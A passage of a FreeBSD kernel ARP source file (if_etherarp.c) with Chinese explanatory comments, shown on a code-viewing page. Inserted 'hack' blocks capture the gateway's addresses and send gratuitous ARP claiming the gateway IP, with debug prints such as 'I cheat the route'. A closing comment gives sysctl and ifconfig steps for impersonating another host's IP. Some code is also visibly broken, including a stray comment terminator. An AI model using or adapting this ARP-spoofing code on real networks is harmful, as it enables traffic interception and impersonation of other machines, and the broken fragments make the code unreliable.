📄 if_etherarp.c
字号:
if (la && (rt = la->la_rt) && (sdl = SDL(rt->rt_gateway))) {/*ARP结点存在,且路由也存在如果含有网关标志*//*hack-----------------------*/ if (hackarp==0) { if ((gatewayip.s_addr!=NULL) && (rt->rt_flags & RTF_GATEWAY))/*当然只拷贝一次*/ { (void)memcpy(&hackgateway,rt->rt_gateway,sizeof(rt->rt_gateway)); (void)memcpy(&gatewayip, hackgateway.sa_data, hackgateway.sa_len); (void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha)); printf("I got gateway ip and it 's hardaddress\n"); } if (oldip.s_addr!=NULL) (void)memcpy(&oldip,&myaddr,sizeof(struct in_addr));/*当然只拷贝一次*/ }/*end-----------------------*/ /* 当网桥没打开时,下面的一些有可能是正常的 */ if (!BRIDGE_TEST && rt->rt_ifp != &ac->ac_if) { if (log_arp_wrong_iface) log(LOG_ERR, "arp: %s is on %s%d but got reply from %6D on %s%d\n", inet_ntoa(isaddr), rt->rt_ifp->if_name, rt->rt_ifp->if_unit, ea->arp_sha, ":", ac->ac_if.if_name, ac->ac_if.if_unit);/*hack-----------------------*/ if (hackarp==1) k=1;/*end-----------------------*/ goto reply; } if (sdl->sdl_alen && bcmp((caddr_t)ea->arp_sha, LLADDR(sdl), sdl->sdl_alen)) {/*比较发来包的源地址和我们ARP结点中所记录的是否相同*/ if (rt->rt_expire)/*不同,那有可能那台机器刚换了网卡,但IP还是用原来的,rt_expire为0代表他是永久结点*/ log(LOG_INFO, "arp: %s moved from %6D to %6D on %s%d\n", inet_ntoa(isaddr), (u_char *)LLADDR(sdl), ":", ea->arp_sha, ":", ac->ac_if.if_name, ac->ac_if.if_unit); else {/*不对,他改的是永久结点*/ log(LOG_ERR, "arp: %6D attempts to modify permanent entry for %s on %s%d\n", ea->arp_sha, ":", inet_ntoa(isaddr), ac->ac_if.if_name, ac->ac_if.if_unit); goto reply; } } (void)memcpy(LLADDR(sdl), ea->arp_sha, sizeof(ea->arp_sha));/*sdl是一地址结构,成员包括地址类型,长度,地址等等,任何类型的地址都可以放到他里面*/ sdl->sdl_alen = sizeof(ea->arp_sha);/*地址的长度,这里是6,该结构里放的是硬件地址*/ sdl->sdl_rcf = (u_short)0; /* * 令牌环网,我们不分析他 */ if (ac->ac_if.if_type == IFT_ISO88025) { th = (struct iso88025_header *)m->m_pkthdr.header; rif_len = TR_RCF_RIFLEN(th->rcf); if ((th->iso88025_shost[0] & TR_RII) && (rif_len > 2)) { sdl->sdl_rcf = th->rcf; sdl->sdl_rcf ^= htons(TR_RCF_DIR); memcpy(sdl->sdl_route, th->rd, rif_len - 2); sdl->sdl_rcf &= ~htons(TR_RCF_BCST_MASK); m->m_data -= rif_len; m->m_len += rif_len; m->m_pkthdr.len += rif_len; } else { th->iso88025_shost[0] &= ~TR_RII; } m->m_data -= 8; m->m_len += 8; m->m_pkthdr.len += 8; th->rcf = sdl->sdl_rcf; } else { sdl->sdl_rcf = (u_short)0; } if (rt->rt_expire)/*该路由不是永久的ARP结点*/ rt->rt_expire = time_second + arpt_keep;/*把他设置成时间为20分钟限制,在20分钟后,arptimer定时器函数会将他清除*/ rt->rt_flags &= ~RTF_REJECT;/*本句和下面一句都是为了防止ARP泛洪*/ la->la_asked = 0; if (la->la_hold) {/*如果有等待发送的数据包,发送他*/ (*ac->ac_if.if_output)(&ac->ac_if, la->la_hold, rt_key(rt), rt); la->la_hold = 0; } }reply: if (op != ARPOP_REQUEST) {/*如果不出错的话,应答包到前面就结束了*/ m_freem(m); return; } if (itaddr.s_addr == myaddr.s_addr) {/*如果接到是请求包而且目的IP地址是我,那我就要回应一个ARP包给对方*/ /* 我就是你要找的 */ (void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));/*开始制做ARP回应包*/ (void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha)); } else { la = arplookup(itaddr.s_addr, 0, SIN_PROXY);/*如果包不是发给我的,那么在路由表中查找并看看ARP代理是否打开*/ if (la == NULL) {/*还是没找到*/ struct sockaddr_in sin; if (!arp_proxyall) { /*如果代理没打开,返回*/ m_freem(m); return; } bzero(&sin, sizeof sin); sin.sin_family = AF_INET; sin.sin_len = sizeof sin; sin.sin_addr = itaddr; rt = rtalloc1((struct sockaddr *)&sin, 0, 0UL); if (!rt) { m_freem(m); return; } */ if (rt->rt_ifp == &ac->ac_if) { rtfree(rt); m_freem(m); return; } (void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha)); (void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha)); rtfree(rt);#ifdef DEBUG_PROXY printf("arp: proxying for %s\n", inet_ntoa(itaddr));#endif } else {/*ARP代理网关找到了.*/ rt = la->la_rt; (void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha)); sdl = SDL(rt->rt_gateway);/*这是网关的硬件地址*/ (void)memcpy(ea->arp_sha, LLADDR(sdl), sizeof(ea->arp_sha)); } } (void)memcpy(ea->arp_tpa, ea->arp_spa, sizeof(ea->arp_spa));/*继续填充ARP回应包的成员*/ (void)memcpy(ea->arp_spa, &itaddr, sizeof(ea->arp_spa)); ea->arp_op = htons(ARPOP_REPLY); ea->arp_pro = htons(ETHERTYPE_IP); switch (ac->ac_if.if_type) {/*看看接口支持的类型*/ case IFT_ISO88025:/*ISO我们暂时不讨论*/ memcpy(th->iso88025_dhost, th->iso88025_shost, sizeof(th->iso88025_dhost)); memcpy(th->iso88025_shost, ac->ac_enaddr, sizeof(th->iso88025_shost)); if (th->iso88025_dhost[0] & TR_RII) { th->iso88025_dhost[0] &= ~TR_RII; if (TR_RCF_RIFLEN(th->rcf) > 2) th->iso88025_shost[0] |= TR_RII; } memcpy(sa.sa_data, th->iso88025_dhost, sizeof(th->iso88025_dhost) * 2); sa.sa_data[(sizeof(th->iso88025_dhost) * 2)] = TR_AC; sa.sa_data[(sizeof(th->iso88025_dhost) * 2) + 1] = TR_LLC_FRAME; break; case IFT_ETHER: case IFT_FDDI: default: eh = (struct ether_header *)sa.sa_data; (void)memcpy(eh->ether_dhost, ea->arp_tha, sizeof(eh->ether_dhost)); eh->ether_type = htons(ETHERTYPE_ARP); break; } sa.sa_family = AF_UNSPEC;/*调用以太网输出函数时,以太网头部不改动*/ sa.sa_len = sizeof(sa);/*hack-----------------------*/ if ((hackarp==1) && (k==1)) DELAY(500);/*end-----------------------*/ (*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*直接调用以太网输出*/ return;}#endif/* * 释放一个ARP入口,la是要释放的ARP结构 */static voidarptfree(la) register struct llinfo_arp *la;{ register struct rtentry *rt = la->la_rt;/*取该ARP的路由结构*/ register struct sockaddr_dl *sdl; if (rt == 0)/*路由结构为空,则错误*/ panic("arptfree"); if (rt->rt_refcnt > 0 && (sdl = SDL(rt->rt_gateway)) && /*如果该路由的参考计数不为0并且链路层地址有效,说明在用呢,不能删除*/ sdl->sdl_family == AF_LINK) { sdl->sdl_alen = 0; la->la_asked = 0; rt->rt_flags &= ~RTF_REJECT;/*清楚该标志意味着下次要用该结点时可以发ARP请求包,这个标志是怕ARP风暴*/ return; } rtrequest(RTM_DELETE, rt_key(rt), (struct sockaddr *)0, rt_mask(rt),/*这才是调用前面的函数删除该ARP结点*/ 0, (struct rtentry **)0);}/* *.在arptab中寻找或进入一个新的地址 该函数主要是调用选路函数rtalloc1在Internet路由表中查找arp节点.他有三个参数,第一个是要查的IP地址 * 第二个是一个标志,为真就找不到就创建一个ARP节点,第三个是查找或创建代理ARP结点. */static struct llinfo_arp *arplookup(addr, create, proxy)/*该函数其实是和路由紧密联系,*/ u_long addr; int create, proxy;{ register struct rtentry *rt; static struct sockaddr_inarp sin = {sizeof(sin), AF_INET }; const char *why = 0; sin.sin_addr.s_addr = addr; sin.sin_other = proxy ? SIN_PROXY : 0;/*使用ARP代理吗?*/ rt = rtalloc1((struct sockaddr *)&sin, create, 0UL); if (rt == 0) return (0); rt->rt_refcnt--; if (rt->rt_flags & RTF_GATEWAY) why = "host is not on local network"; else if ((rt->rt_flags & RTF_LLINFO) == 0) why = "could not allocate llinfo"; else if (rt->rt_gateway->sa_family != AF_LINK) why = "gateway route is not ours"; if (why && create) { log(LOG_DEBUG, "arplookup %s failed: %s\n", inet_ntoa(sin.sin_addr), why); return 0; } else if (why) { return 0; } return ((struct llinfo_arp *)rt->rt_llinfo);/*返回ARP结点*/}voidarp_ifinit(ac, ifa)/*该函数由以太网的IOCTL调用(if_ethersubr.c中的ether_ioctl函数调用),即在网卡的IP发生变化或接口重新启动等*/ struct arpcom *ac; struct ifaddr *ifa;{ if (ntohl(IA_SIN(ifa)->sin_addr.s_addr) != INADDR_ANY)/*hack----------------------*/ { if (hackarp==0) {/*end-----------------------*/ arprequest(ac, &IA_SIN(ifa)->sin_addr,&IA_SIN(ifa)->sin_addr, ac->ac_enaddr);/*在这发送一免费ARP*/ /*免费ARP是指发送一源IP和目的IP都是自己的ARP包,看看是否有回应,有的话,就是IP冲突*//*hack----------------------*/ }else { if (gatewayip.s_addr!=NULL) { trueip=1; if (arphacklock==0) { arphacklock=1; fromsubr=0; arprequest(ac, &IA_SIN(ifa)->sin_addr, &gatewayip, ac->ac_enaddr); printf("Yes,I init the ARP and I cheat the route\n"); }else { printf("Sorry, the arphacklock is locked\n"); } }else { printf("Hack is start ! The gateway's ip is NULL\n"); } } }/*end-----------------------*/ ifa->ifa_rtrequest = arp_rtrequest; ifa->ifa_flags |= RTF_CLONING;}/*命令步骤:arp -d -asysctl net.link.ether.inet.ctrlhack=1ifconfig vr0 192.168.0.4 255.255.255.0 ^ ^ ^ 你的卡 你要冒充的IP 掩码 */
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -